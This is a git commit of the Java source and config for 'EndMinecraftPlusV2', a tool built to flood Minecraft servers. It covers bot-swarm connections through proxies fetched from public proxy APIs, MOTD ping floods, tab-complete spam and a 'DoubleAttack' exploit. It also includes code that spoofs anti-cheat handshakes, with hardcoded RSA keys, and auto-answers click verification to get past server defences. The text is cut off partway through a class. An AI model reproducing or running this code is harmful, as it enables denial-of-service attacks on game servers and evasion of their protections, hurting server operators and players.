EndMinecraftPlus重制版 开源~
This commit is contained in:
commit
fd1519d59d
|
@ -0,0 +1,14 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module type="JAVA_MODULE" version="4">
|
||||
<component name="NewModuleRootManager" inherit-compiler-output="true">
|
||||
<exclude-output />
|
||||
<content url="file://$MODULE_DIR$">
|
||||
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
|
||||
</content>
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
<orderEntry type="library" name="jna-5.12.1" level="project" />
|
||||
<orderEntry type="library" name="bukkitYaml-0.1-pre-jar-with-dependencies" level="project" />
|
||||
<orderEntry type="library" name="libs" level="project" />
|
||||
</component>
|
||||
</module>
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,3 @@
|
|||
Manifest-Version: 1.0
|
||||
Main-Class: cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2
|
||||
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,58 @@
|
|||
##############################
|
||||
# EndMinecraftPlusV2 #
|
||||
# Forked by SerendipityR #
|
||||
##############################
|
||||
|
||||
AttackSettings:
|
||||
Address: "example.com"
|
||||
Port: 25565
|
||||
# 攻击方式:
|
||||
# 1 - BotAttack - 集群假人(代理)
|
||||
# 2 - MotdAttackP - MOTD压测(代理)
|
||||
# 3 - MotdAttack - MOTD压测(无代理)
|
||||
# 4 - DoubleAttack - 影分身攻击(代理,仅原版单服可用)
|
||||
Method: 1
|
||||
Time: 3600
|
||||
ConnectDelay: 250
|
||||
# 实际连接数由代理质量和机器性能有关
|
||||
# 进行无代理Motd压测时不建议大于32
|
||||
MaxConnections: 2000
|
||||
# 旧版漏洞利用,大概率无效
|
||||
TabAttack: true
|
||||
AntiAttackMode: true
|
||||
DoubleExploitPlayer: "ImOldSix_666"
|
||||
|
||||
BotSettings:
|
||||
# 可用占位符:
|
||||
# $rnd - 随机字符
|
||||
# $pwd - 随机生成密码
|
||||
BotName: "ImOldSix_$rnd"
|
||||
BotCount: 1000
|
||||
RejoinCount: 5
|
||||
RejoinDetect:
|
||||
- "AntiAttack"
|
||||
ClickVerifiesDetect:
|
||||
- "点击验证"
|
||||
Register&Login: true
|
||||
RegisterCommands:
|
||||
- "/register $pwd $pwd"
|
||||
- "/login $pwd"
|
||||
CustomChat:
|
||||
- "喵喵喵萌喵~ $rnd"
|
||||
- "喵喵喵萌~ $rnd"
|
||||
- "喵喵喵~ $rnd"
|
||||
- "喵喵~ $rnd"
|
||||
- "喵~ $rnd"
|
||||
ChatDelay: 3
|
||||
|
||||
Proxy:
|
||||
# 代理获取方式:
|
||||
# 1 - API - 从API获取
|
||||
# 2 - File - 从本地读取
|
||||
# 3 - File + API - 两种方式同时获取
|
||||
GetType: 1
|
||||
UpdateTime: 300
|
||||
File: "proxies.txt"
|
||||
APIs:
|
||||
- "http://www.66ip.cn/mo.php?tqsl=9999"
|
||||
- "https://www.89ip.cn/tqdl.html?api=1&num=9999"
|
|
@ -0,0 +1,2 @@
|
|||
Data:
|
||||
- ""
|
|
@ -0,0 +1,3 @@
|
|||
Manifest-Version: 1.0
|
||||
Main-Class: cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2
|
||||
|
|
@ -0,0 +1,103 @@
|
|||
package cn.serendipityr.EndMinecraftPlusV2.ACProtocol;
|
||||
|
||||
import io.netty.buffer.ByteBuf;
|
||||
import io.netty.buffer.ByteBufInputStream;
|
||||
import io.netty.buffer.ByteBufOutputStream;
|
||||
import io.netty.buffer.Unpooled;
|
||||
import org.spacehq.opennbt.NBTIO;
|
||||
import org.spacehq.opennbt.tag.builtin.ByteArrayTag;
|
||||
import org.spacehq.opennbt.tag.builtin.CompoundTag;
|
||||
import org.spacehq.opennbt.tag.builtin.ListTag;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import java.io.DataInputStream;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.math.BigInteger;
|
||||
import java.security.KeyFactory;
|
||||
import java.security.MessageDigest;
|
||||
import java.security.NoSuchAlgorithmException;
|
||||
import java.security.spec.RSAPrivateKeySpec;
|
||||
import java.security.spec.RSAPublicKeySpec;
|
||||
import java.util.HashSet;
|
||||
|
||||
public class AnotherStarAntiCheat {
|
||||
private final RSAPublicKeySpec clientPublicKey;
|
||||
private final RSAPrivateKeySpec clientPrivateKey;
|
||||
private final RSAPrivateKeySpec serverPrivateKey;
|
||||
private final Cipher clientPublicCipher;
|
||||
private final Cipher clientPrivateCipher;
|
||||
|
||||
{
|
||||
clientPublicKey = new RSAPublicKeySpec(new BigInteger("110765265706288445432931740098429930486184776709780238438557625017629729661573053311960037088088056476891441153774532896215697933861615265976216025080531157954939381061122847093245480153835410088489980899310444547515616362801564379991216339336084947840837937083577860481298666622413144703510357744423856873247"), new BigInteger("65537"));
|
||||
clientPrivateKey = new RSAPrivateKeySpec(new BigInteger("127165929499203230494093636558638013965252017663799535492473366241186172657381802456786953683177089298103209968185180374096740166047543803456852621212768600619629127825926162262624471403179175000577485553838478368190967564483813134073944752700839742123715548482599351441718070230200126591331603170595424433351"), new BigInteger("8120442115967552979504430611683477858989268564673406717365778685618263462946775764555188689810276923151226539464042905009305546407509816095746345114598417659887966619863710400187548253486545871530930302536230539029867970428580758154100440676071461522806034959078299053007522099777875429363283152166104624633"));
|
||||
serverPrivateKey = new RSAPrivateKeySpec(new BigInteger("110765265706288445432931740098429930486184776709780238438557625017629729661573053311960037088088056476891441153774532896215697933861615265976216025080531157954939381061122847093245480153835410088489980899310444547515616362801564379991216339336084947840837937083577860481298666622413144703510357744423856873247"), new BigInteger("46811199235043884723986609175064677734346396089701745030024727102450381043328026268845951862745851965156510759358732282931568208403881136178696846768321267356928789780189985031058525539943424151785807761491334305713351706700232920994479762308513198807509163912459260953727448797718901389753582140608347129153"));
|
||||
|
||||
try {
|
||||
(clientPublicCipher = Cipher.getInstance("RSA")).init(1, KeyFactory.getInstance("RSA").generatePublic(clientPublicKey));
|
||||
(clientPrivateCipher = Cipher.getInstance("RSA")).init(2, KeyFactory.getInstance("RSA").generatePrivate(clientPrivateKey));
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
private void ctsEncode(ByteBuf buf, byte[][] md5s) {
|
||||
try {
|
||||
CompoundTag nbt = new CompoundTag("");
|
||||
ListTag strList = new ListTag("md5s", ByteArrayTag.class);
|
||||
for (final byte[] md5 : md5s) {
|
||||
strList.add(new ByteArrayTag("", md5));
|
||||
}
|
||||
nbt.put(strList);
|
||||
NBTIO.writeTag(new DataOutputStream(new ByteBufOutputStream(buf)), nbt);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
private byte[] stcDecode(ByteBuf buf) {
|
||||
try {
|
||||
CompoundTag nbt = (CompoundTag) NBTIO.readTag(new DataInputStream(new ByteBufInputStream(buf)));
|
||||
return ((ByteArrayTag) nbt.get("salt")).getValue();
|
||||
} catch (IOException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] encodeCPacket(String[] md5s, String salt) {
|
||||
try {
|
||||
HashSet<byte[]> rsaMd5s = new HashSet<byte[]>();
|
||||
for (String md5 : md5s) {
|
||||
rsaMd5s.add(clientPublicCipher.doFinal(md5(md5 + salt).getBytes()));
|
||||
}
|
||||
|
||||
ByteBuf buf = Unpooled.buffer();
|
||||
buf.writeByte(1); // packet id
|
||||
ctsEncode(buf, rsaMd5s.toArray(new byte[0][]));
|
||||
return buf.array();
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
public String decodeSPacket(byte[] data) {
|
||||
try {
|
||||
ByteBuf buf = Unpooled.copiedBuffer(data);
|
||||
buf.readByte(); // packet id
|
||||
return new String(clientPrivateCipher.doFinal(stcDecode(buf)));
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
public String md5(String str) {
|
||||
try {
|
||||
MessageDigest md = MessageDigest.getInstance("MD5");
|
||||
md.update(str.getBytes());
|
||||
byte[] digest = md.digest();
|
||||
return String.format("%0" + (digest.length << 1) + "x", new BigInteger(1, digest));
|
||||
} catch (NoSuchAlgorithmException e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,81 @@
|
|||
package cn.serendipityr.EndMinecraftPlusV2.ACProtocol;
|
||||
|
||||
import java.io.*;
|
||||
import java.math.BigInteger;
|
||||
import java.security.MessageDigest;
|
||||
import java.security.NoSuchAlgorithmException;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
import java.util.zip.GZIPOutputStream;
|
||||
|
||||
public class AntiCheat3 {
|
||||
|
||||
public byte[] getCheckData(String acFile, String code, String[] md5List) {
|
||||
try {
|
||||
byte[] buf1 = code.substring(0, 30).getBytes();
|
||||
|
||||
FileInputStream in = new FileInputStream(new File("lib", acFile));
|
||||
byte[] buf2 = new byte[in.available()];
|
||||
in.read(buf2);
|
||||
|
||||
byte[] buf3 = new byte[buf1.length + buf2.length];
|
||||
System.arraycopy(buf1, 0, buf3, 0, buf1.length);
|
||||
System.arraycopy(buf2, 0, buf3, buf1.length, buf2.length);
|
||||
|
||||
try {
|
||||
in.close();
|
||||
} catch (IOException e2) {
|
||||
}
|
||||
|
||||
String result = "";
|
||||
if (md5List != null) {
|
||||
for (String md5 : md5List) {
|
||||
result += md5 + ",";
|
||||
}
|
||||
}
|
||||
result += md5(buf3);
|
||||
return compress(result);
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] compress(String str) {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPOutputStream gzip;
|
||||
try {
|
||||
gzip = new GZIPOutputStream(out);
|
||||
gzip.write(str.getBytes());
|
||||
gzip.close();
|
||||
} catch (IOException e) {
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
public String uncompress(byte[] data) {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(data);
|
||||
try {
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
} catch (IOException e) {
|
||||
}
|
||||
|
||||
return new String(out.toByteArray());
|
||||
}
|
||||
|
||||
public String md5(byte[] buf) {
|
||||
try {
|
||||
MessageDigest md = MessageDigest.getInstance("MD5");
|
||||
md.update(buf);
|
||||
byte[] digest = md.digest();
|
||||
return String.format("%0" + (digest.length << 1) + "x", new BigInteger(1, digest));
|
||||
} catch (NoSuchAlgorithmException e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,76 @@
|
|||
package cn.serendipityr.EndMinecraftPlusV2.AttackUtils;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AttackUtils.Methods.*;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.ForgeProtocol.MCForge;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.ForgeProtocol.MCForgeMOTD;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.DataUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
|
||||
|
||||
import java.util.Arrays;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.Random;
|
||||
|
||||
public class AttackManager {
|
||||
public static void doAttack() {
|
||||
LogUtil.emptyLog();
|
||||
|
||||
switch (ConfigUtil.AttackMethod) {
|
||||
case 1:
|
||||
// BotAttack
|
||||
DataUtil.loadData();
|
||||
if (DataUtil.botRegPasswords.size() < ConfigUtil.BotCount) {
|
||||
for (int i = 0; i < (ConfigUtil.BotCount - DataUtil.botRegPasswords.size()); i++) {
|
||||
DataUtil.updateData(ConfigUtil.BotName.replace("$rnd", OtherUtils.getRandomString(3,5)), OtherUtils.getRandomString(8,10));
|
||||
}
|
||||
}
|
||||
|
||||
Map<String, String> modList = new HashMap<>();
|
||||
|
||||
if (!MCForge.isAfterVersion1_13()) {
|
||||
LogUtil.doLog(0, "正在获取服务器上的Forge Mods...", "BotAttack");
|
||||
modList = new MCForgeMOTD().pingGetModsList(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, MCForge.getProtocolVersion());
|
||||
LogUtil.doLog(0, "Mods: " + Arrays.toString(modList.keySet().toArray()), "BotAttack");
|
||||
}
|
||||
|
||||
BotAttack botAttack = new BotAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
|
||||
botAttack.setBotConfig(ConfigUtil.AntiAttackMode, ConfigUtil.TabAttack, modList);
|
||||
botAttack.start();
|
||||
break;
|
||||
case 2:
|
||||
// MotdAttack
|
||||
IAttack motdAttack = new MotdAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
|
||||
motdAttack.start();
|
||||
break;
|
||||
case 3:
|
||||
// MotdAttackP
|
||||
IAttack motdAttackP = new MotdAttackP(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
|
||||
motdAttackP.start();
|
||||
break;
|
||||
case 4:
|
||||
// DoubleAttack
|
||||
Map<String, String> doubleModList = new HashMap<>();
|
||||
|
||||
if (!MCForge.isAfterVersion1_13()) {
|
||||
LogUtil.doLog(0, "正在获取服务器上的Forge Mods...", "DoubleAttack");
|
||||
doubleModList = new MCForgeMOTD().pingGetModsList(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, MCForge.getProtocolVersion());
|
||||
LogUtil.doLog(0, "Mods: " + Arrays.toString(doubleModList.keySet().toArray()), "DoubleAttack");
|
||||
}
|
||||
|
||||
DoubleAttack attack = new DoubleAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
|
||||
attack.setBotConfig(ConfigUtil.AntiAttackMode, ConfigUtil.TabAttack, doubleModList);
|
||||
attack.setUsername(ConfigUtil.DoubleExploitPlayer);
|
||||
attack.start();
|
||||
break;
|
||||
default:
|
||||
EndMinecraftPlusV2.Exit();
|
||||
}
|
||||
}
|
||||
|
||||
public static String getRandomUser() {
|
||||
return DataUtil.botRegPasswords.get(new Random().nextInt(DataUtil.botRegPasswords.size()));
|
||||
}
|
||||
}
|
|
@ -0,0 +1,316 @@
|
|||
package cn.serendipityr.EndMinecraftPlusV2.AttackUtils.Methods;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.ACProtocol.AnotherStarAntiCheat;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.ACProtocol.AntiCheat3;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AttackUtils.AttackManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.ForgeProtocol.MCForge;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.*;
|
||||
import io.netty.util.internal.ConcurrentSet;
|
||||
import org.spacehq.mc.protocol.MinecraftProtocol;
|
||||
import org.spacehq.mc.protocol.data.message.Message;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.ClientChatPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerMovementPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerChatPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerJoinGamePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket;
|
||||
import org.spacehq.packetlib.Client;
|
||||
import org.spacehq.packetlib.Session;
|
||||
import org.spacehq.packetlib.event.session.*;
|
||||
import org.spacehq.packetlib.packet.Packet;
|
||||
import org.spacehq.packetlib.tcp.TcpSessionFactory;
|
||||
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.Proxy;
|
||||
import java.net.Socket;
|
||||
import java.util.*;
|
||||
import java.util.concurrent.ExecutorService;
|
||||
import java.util.concurrent.Executors;
|
||||
|
||||
public class BotAttack extends IAttack {
|
||||
public static HashMap<Client, String> clientName = new HashMap<>();
|
||||
public static int failed = 0;
|
||||
public static int joined = 0;
|
||||
public static int rejoin = 0;
|
||||
public static int clickVerifies = 0;
|
||||
public static List<String> alivePlayers = new ArrayList<>();
|
||||
protected boolean attack_motdbefore;
|
||||
protected boolean attack_tab;
|
||||
protected Map<String, String> modList;
|
||||
|
||||
private Thread mainThread;
|
||||
private Thread tabThread;
|
||||
private Thread taskThread;
|
||||
|
||||
public Set<Client> clients = new ConcurrentSet<>();
|
||||
public ExecutorService pool = Executors.newCachedThreadPool();
|
||||
|
||||
private static final AntiCheat3 ac3 = new AntiCheat3();
|
||||
private static final AnotherStarAntiCheat asac = new AnotherStarAntiCheat();
|
||||
|
||||
private long starttime;
|
||||
|
||||
public BotAttack(String ip, int port, int time, int maxconnect, long joinsleep) {
|
||||
super(ip, port, time, maxconnect, joinsleep);
|
||||
}
|
||||
|
||||
public void setBotConfig(boolean motdbefore, boolean tab, Map<String, String> modList) {
|
||||
this.attack_motdbefore = motdbefore;
|
||||
this.attack_tab = tab;
|
||||
this.modList = modList;
|
||||
}
|
||||
|
||||
public String getRandMessage() {
|
||||
return ConfigUtil.CustomChat.get(new Random().nextInt(ConfigUtil.CustomChat.size())).replace("$rnd",OtherUtils.getRandomString(4,6));
|
||||
}
|
||||
|
||||
public void start() {
|
||||
setTask(() -> {
|
||||
while (true) {
|
||||
for (Client c : clients) {
|
||||
if (c.getSession().isConnected()) {
|
||||
if (c.getSession().hasFlag("login")) {
|
||||
c.getSession().send(new ClientChatPacket(getRandMessage()));
|
||||
} else if (c.getSession().hasFlag("join")) {
|
||||
if (ConfigUtil.RegisterAndLogin) {
|
||||
for (String cmd:ConfigUtil.RegisterCommands) {
|
||||
c.getSession().send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))));
|
||||
}
|
||||
}
|
||||
|
||||
c.getSession().setFlag("login", true);
|
||||
}
|
||||
}
|
||||
}
|
||||
OtherUtils.doSleep(5 * 1000);
|
||||
}
|
||||
});
|
||||
|
||||
this.starttime = System.currentTimeMillis();
|
||||
|
||||
mainThread = new Thread(() -> {
|
||||
while (true) {
|
||||
try {
|
||||
cleanClients();
|
||||
createClients(ip, port);
|
||||
OtherUtils.doSleep(10 * 1000);
|
||||
|
||||
if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) {
|
||||
for (Client c : clients) {
|
||||
c.getSession().disconnect("");
|
||||
}
|
||||
stop();
|
||||
return;
|
||||
}
|
||||
LogUtil.doLog(0, "当前连接数: " + clients.size() + "个", "BotAttack");
|
||||
} catch (Exception e) {
|
||||
LogUtil.doLog(1, "发生错误: " + e.getMessage(), null);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
if (this.attack_tab) {
|
||||
tabThread = new Thread(() -> {
|
||||
while (true) {
|
||||
for (Client c : clients) {
|
||||
if (c.getSession().isConnected() && c.getSession().hasFlag("join")) {
|
||||
MultiVersionPacket.sendTabPacket(c.getSession(), "/");
|
||||
}
|
||||
}
|
||||
OtherUtils.doSleep(10);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
mainThread.start();
|
||||
if (tabThread != null)
|
||||
tabThread.start();
|
||||
if (taskThread != null)
|
||||
taskThread.start();
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
public void stop() {
|
||||
mainThread.stop();
|
||||
if (tabThread != null)
|
||||
tabThread.stop();
|
||||
if (taskThread != null)
|
||||
taskThread.stop();
|
||||
}
|
||||
|
||||
public void setTask(Runnable task) {
|
||||
taskThread = new Thread(task);
|
||||
}
|
||||
|
||||
private void cleanClients() {
|
||||
clients.removeIf(c -> !c.getSession().isConnected());
|
||||
}
|
||||
|
||||
private void createClients(final String ip, int port) {
|
||||
for (String p: ProxyUtil.proxies) {
|
||||
try {
|
||||
String[] _p = p.split(":");
|
||||
Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
||||
String[] User = AttackManager.getRandomUser().split("@");
|
||||
Client client = createClient(ip, port, User[0], proxy);
|
||||
client.getSession().setReadTimeout(10 * 1000);
|
||||
client.getSession().setWriteTimeout(10 * 1000);
|
||||
clientName.put(client, User[0]);
|
||||
clients.add(client);
|
||||
|
||||
if (this.attack_motdbefore) {
|
||||
pool.submit(() -> {
|
||||
getMotd(proxy, ip, port);
|
||||
client.getSession().connect(false);
|
||||
});
|
||||
} else {
|
||||
client.getSession().connect(false);
|
||||
}
|
||||
|
||||
if (this.attack_maxconnect > 0 && (clients.size() > this.attack_maxconnect))
|
||||
return;
|
||||
if (this.attack_joinsleep > 0)
|
||||
OtherUtils.doSleep(attack_joinsleep);
|
||||
} catch (Exception e) {
|
||||
LogUtil.doLog(1, "发生错误: " + e.getMessage(), null);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public Client createClient(final String ip, int port, final String username, Proxy proxy) {
|
||||
Client client = new Client(ip, port, new MinecraftProtocol(username), new TcpSessionFactory(proxy));
|
||||
new MCForge(client.getSession(), this.modList).init();
|
||||
|
||||
client.getSession().addListener(new SessionListener() {
|
||||
public void packetReceived(PacketReceivedEvent e) {
|
||||
handlePacket(e.getSession(), e.getPacket(), username);
|
||||
}
|
||||
|
||||
public void packetSent(PacketSentEvent e) {
|
||||
}
|
||||
|
||||
public void connected(ConnectedEvent e) {
|
||||
}
|
||||
|
||||
public void disconnecting(DisconnectingEvent e) {
|
||||
}
|
||||
|
||||
public void disconnected(DisconnectedEvent e) {
|
||||
String msg;
|
||||
|
||||
if (e.getCause() == null) {
|
||||
msg = e.getReason();
|
||||
LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack");
|
||||
|
||||
for (String rejoinDetect:ConfigUtil.RejoinDetect) {
|
||||
if (msg.contains(rejoinDetect)) {
|
||||
for (int i = 0; i < ConfigUtil.RejoinCount; i++) {
|
||||
createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy);
|
||||
rejoin++;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
failed++;
|
||||
alivePlayers.remove(username);
|
||||
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joined + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
|
||||
}
|
||||
});
|
||||
return client;
|
||||
}
|
||||
|
||||
public void getMotd(Proxy proxy, String ip, int port) {
|
||||
try {
|
||||
Socket socket = new Socket(proxy);
|
||||
socket.connect(new InetSocketAddress(ip, port));
|
||||
if (socket.isConnected()) {
|
||||
OutputStream out = socket.getOutputStream();
|
||||
InputStream in = socket.getInputStream();
|
||||
out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01});
|
||||
out.write(new byte[]{0x01, 0x00});
|
||||
out.flush();
|
||||
in.read();
|
||||
|
||||
try {
|
||||
in.close();
|
||||
out.close();
|
||||
socket.close();
|
||||
} catch (Exception ignored) {}
|
||||
|
||||
return;
|
||||
}
|
||||
socket.close();
|
||||
} catch (Exception ignored) {}
|
||||
}
|
||||
|
||||
protected void handlePacket(Session session, Packet recvPacket, String username) {
|
||||
if (recvPacket instanceof ServerPluginMessagePacket) {
|
||||
ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket;
|
||||
switch (packet.getChannel()) {
|
||||
case "AntiCheat3.4.3":
|
||||
String code = ac3.uncompress(packet.getData());
|
||||
byte[] checkData = ac3.getCheckData("AntiCheat3.jar", code,
|
||||
new String[]{"44f6bc86a41fa0555784c255e3174260"});
|
||||
session.send(new ClientPluginMessagePacket("AntiCheat3.4.3", checkData));
|
||||
break;
|
||||
case "anotherstaranticheat":
|
||||
String salt = asac.decodeSPacket(packet.getData());
|
||||
byte[] data = asac.encodeCPacket(new String[]{"4863f8708f0c24517bb5d108d45f3e15"}, salt);
|
||||
session.send(new ClientPluginMessagePacket("anotherstaranticheat", data));
|
||||
break;
|
||||
case "VexView":
|
||||
if (new String(packet.getData()).equals("GET:Verification"))
|
||||
session.send(new ClientPluginMessagePacket("VexView", "Verification:1.8.10".getBytes()));
|
||||
break;
|
||||
default:
|
||||
}
|
||||
} else if (recvPacket instanceof ServerJoinGamePacket) {
|
||||
session.setFlag("join", true);
|
||||
LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
|
||||
joined++;
|
||||
alivePlayers.add(username);
|
||||
MultiVersionPacket.sendClientSettingPacket(session, "zh_CN");
|
||||
MultiVersionPacket.sendClientPlayerChangeHeldItemPacket(session, 1);
|
||||
} else if (recvPacket instanceof ServerPlayerPositionRotationPacket) {
|
||||
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
|
||||
MultiVersionPacket.sendPosPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw());
|
||||
session.send(new ClientPlayerMovementPacket(true));
|
||||
MultiVersionPacket.sendClientTeleportConfirmPacket(session, packet);
|
||||
} else if (recvPacket instanceof ServerChatPacket) {
|
||||
ServerChatPacket chatPacket = (ServerChatPacket) recvPacket;
|
||||
clickVerifiesHandle(chatPacket.getMessage(), session, username);
|
||||
}
|
||||
}
|
||||
|
||||
public static void clickVerifiesHandle(Message message, Session session, String username) {
|
||||
boolean needClick = false;
|
||||
|
||||
if (message.getStyle().getClickEvent() != null) {
|
||||
for (String clickVerifiesDetect:ConfigUtil.ClickVerifiesDetect) {
|
||||
if (message.getText().contains(clickVerifiesDetect)) {
|
||||
needClick = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (needClick) {
|
||||
LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + message.getStyle().getClickEvent().getValue(), "BotAttack");
|
||||
session.send(new ClientChatPacket(message.getStyle().getClickEvent().getValue()));
|
||||
clickVerifies++;
|
||||
} else {
|
||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + message, "BotAttack");
|
||||
alivePlayers.add(username);
|
||||
}
|
||||
|
||||
if (message.getExtra() != null && !message.getExtra().isEmpty()) {
|
||||
for (Message extraMessage:message.getExtra()) {
|
||||
clickVerifiesHandle(extraMessage, session, username);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,37 @@
|
|||
package cn.serendipityr.EndMinecraftPlusV2.AttackUtils.Methods;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerJoinGamePacket;
|
||||
import org.spacehq.packetlib.Client;
|
||||
import org.spacehq.packetlib.Session;
|
||||
import org.spacehq.packetlib.packet.Packet;
|
||||
|
||||
import java.net.Proxy;
|
||||
|
||||
public class DoubleAttack extends BotAttack {
|
||||
private String username;
|
||||
private Integer totalTimes = 0;
|
||||
private Integer runTimes = 0;
|
||||
|
||||
public DoubleAttack(String ip, int port, int time, int maxconnect, long joinsleep) {
|
||||
super(ip, port, time, maxconnect, joinsleep);
|
||||
}
|
||||
|
||||
public void setUsername(String username) {
|
||||
this.username = username;
|
||||
}
|
||||
|
||||
public Client createClient(String ip, int port, String username, Proxy proxy) {
|
||||
totalTimes++;
|
||||
return super.createClient(ip, port, this.username, proxy);
|
||||
}
|
||||
|
||||
protected void handlePacket(Session session, Packet recvPacket, String username) {
|
||||
super.handlePacket(session, recvPacket, username);
|
||||
if (recvPacket instanceof ServerJoinGamePacket) {
|
||||
session.disconnect("Double Exploit - Connection Reset!");
|
||||
runTimes++;
|
||||
